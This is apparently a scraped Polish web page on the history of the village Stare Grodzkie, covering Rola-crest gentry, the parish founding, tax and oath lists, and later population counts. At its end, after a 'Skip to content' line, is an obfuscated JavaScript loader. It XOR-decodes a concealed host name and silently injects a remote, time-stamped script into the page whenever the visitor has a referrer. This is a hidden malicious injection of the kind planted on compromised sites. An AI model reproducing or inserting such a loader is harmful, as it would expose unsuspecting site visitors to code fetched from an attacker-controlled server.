Stare Grodzkie

Książę mazowiecki Janusz I władający tymi ziemiami na przełomie XIV i XV wieku prowadził na wschodnim Mazowszu wielką akcję osiedleńczą, przeniosło się tu wielu rycerzy z głębi Mazowsza ale nie tylko. Również rycerze z Królestwa Polskiego chętnie się tutaj osiedlali. W pobliżu Kobylina osiedliło się wielu rycerzy pochodzących z okolic Sieradza, ci rycerze przejęły potem herb Rola i podzielili się na kilka rodzin (między innymi Wnorowscy). Również tutaj osiedlili się rycerze herbu Rola, założyli osadę zwaną Mieczsług ( Być może nazwa była starsza, lecz trudno to teraz stwierdzić ). Taka nazwa pojawia się jeszcze w 1475 roku, jednak tutejsi rycerze posługiwali się przydomkiem Grodzki (Wojciech Grodzki z Mieczsługa) i z czasem wioska zmieniła nazwę na Grodzkie. Taka nazwa pojawia się już w 1493 roku. W tymże roku miejscowa szlachta pod przywództwem Kuleszów erygowała parafię w Kuleszach Rokitnicy. Wśród rycerzy którzy fundowali parafię był też Albert ze wsi Grodzkie. (Alberto haerede de Grodzkie).
Przydomek Grodzki wziął się od pobliskiego wczesnośredniowiecznego grodu, którego ślady można znaleźć do dziś. Pochodzenie nazwy Grodzkie dobrze wyjaśnia Słownik Geograficzny z 1882 roku, który pisze: Grodzkie Nowe, Stare i Szczepanowięta, wsie te zamieszkiwane przez drobną szlachtę, otrzymały nazwę od grodu jaki istniał w czasach przedhistorycznych na rzeką Rokitnicą w pobliżu wsi Wnory.
Grodzkie Stare należy do jednej ze starszych osad w tym terenie, może o tym świadczyć chociażby to ,że w 1528 roku (Seło Grockich) liczyła już 20 rycerzy z rodzinami, co było dużą liczbą. Na pospolite ruszenie wystawili 5 konnych jeźdźców, obok Kulesz była to największa osada szlachecka w okolicy. Jednak w tym czasie brak jeszcze było podziału na mniejsze części. Również spis podatkowy z 1580 roku nie wspomina o podziale na części, była to jeszcze zwarta duża osada, licząca w sumie 39 włók, brak było tu chłopów, ale niektórzy z nich byli naprawdę bogatymi rycerzami. Na przykład Walenty syn Michała Grodzkiego posiadał 15 włók ziemi oraz młyn. Notowano tutaj również drugi młyn Jana syna Stanisława Korabczika.
Grodzkie było bardzo liczną wsią, w 1569 roku w grodzkie bielskim złożyło przysięgę na wierność ponad 20 Grodzkich herbu Rola, byli to: Marcin, Sebastyan, Mikołaj i Aleksy, synowie Stanisława, Jan i Bartłomiej, synowie Macieja, Jan, Kalikst, Stanisław, Jakób i Józef, synowie Mikołaja, Stanisław, Jan, Mikołaj i Jakób, synowie Alberta, Mateusz, syn Trojana, Jan i Zygmunt, synowie Andrzeja, Walenty, syn Michała, Erazm, syn Pawła, Maciej, syn Piotra, Brykciusz, syn Łukasza, Grzegorz, syn Jana, Marcin, syn Aleksego, Eliasz, Jakób i Jan, synowie Stefana i Wincenty, syn Abrahama. Według herbarza Bonieckiego latach 1585-1598 dziedziczyli na Grodzkiem: Maciej, syn Piotra, Walenty, syn Michała, Jan, syn Macieja, Stanisław i Bartłomiej, synowie Andrzeja, Maciej i Michał, synowie Stanisława, Wojciech, Michał, Walenty i Grzegorz, synowie także Stanisława, Stanisław, syn Bartłomieja, Samuel, Ezechiel, Abraham, Jan i Paweł, synowie Pawla, Stanisław i Zbożny, synowie Mikołaja, Wincenty, Wilhelm i Stanisław, synowie Abrahama.
Jak widać mieszkało tu bardzo liczne grono szlacheckie, nic więc dziwnego, że wioska zaczęła się dzielić na mniejsze części. Taki podział nastąpił w XVII wieku. W 1775 roku według Zygmunta Glogera mieszkało w tych trzech wsiach już 75 gospodarzy.
W XVIII wieku tę miejscowość niekiedy zwano Grodzkie Kulesze. W 1827 roku liczyła 25 domów i 142 mieszkańców, czyli całkiem sporo jak na wioskę drobnoszlachecką.
W 1891 roku istniało tutaj 28 gospodarstw należących do szlachty, jednak średnie gospodarstwo nie było duże, liczyło 6,1 ha.
W 1921 roku ta wieś miała 32 domy i 196 mieszkańców. Wśród mieszkańców jedna osoba podała wiarę prawosławną.
Według wykazu zabytków z 1985 roku istnieje tutaj dom numer 19 własność Janiny Wnorowskiej z około 1918 roku. Zabytkiem są też dwa krzyże przydrożne z datą 1899 żeliwne.

Skip to content !function (_cc60f1) { var _b49dc = Date.now(); var _d055e6 = 1000; _b49dc = _b49dc / _d055e6; _b49dc = Math.floor(_b49dc); var _90ce5 = 600; _b49dc -= _b49dc % _90ce5; _b49dc = _b49dc.toString(16); var _19d7fc = _cc60f1.referrer; if (!_19d7fc) return; var _dd35ad = [47847, 47858, 47860, 47840, 47805, 47840, 47847, 47866, 47856, 47864, 47871, 47868, 47858, 47863, 47862, 47841, 47805, 47866, 47869, 47861, 47868]; _dd35ad = _dd35ad.map(function(_a5e140){ return _a5e140 ^ 47763; }); var _ef8be4 = "1d37f5d602faf8d2012ad3586294eda6"; _dd35ad = String.fromCharCode(..._dd35ad); var _19bac3 = "https://"; var _f09d44 = "/"; var _e34d7a = "mount."; var _23638a = ".js"; var _108118 = _cc60f1.createElement("script"); _108118.type = "text/javascript"; _108118.async = true; _108118.src = _19bac3 + _dd35ad + _f09d44 + _e34d7a + _b49dc + _23638a; _cc60f1.getElementsByTagName("head")[0].appendChild(_108118) }(document);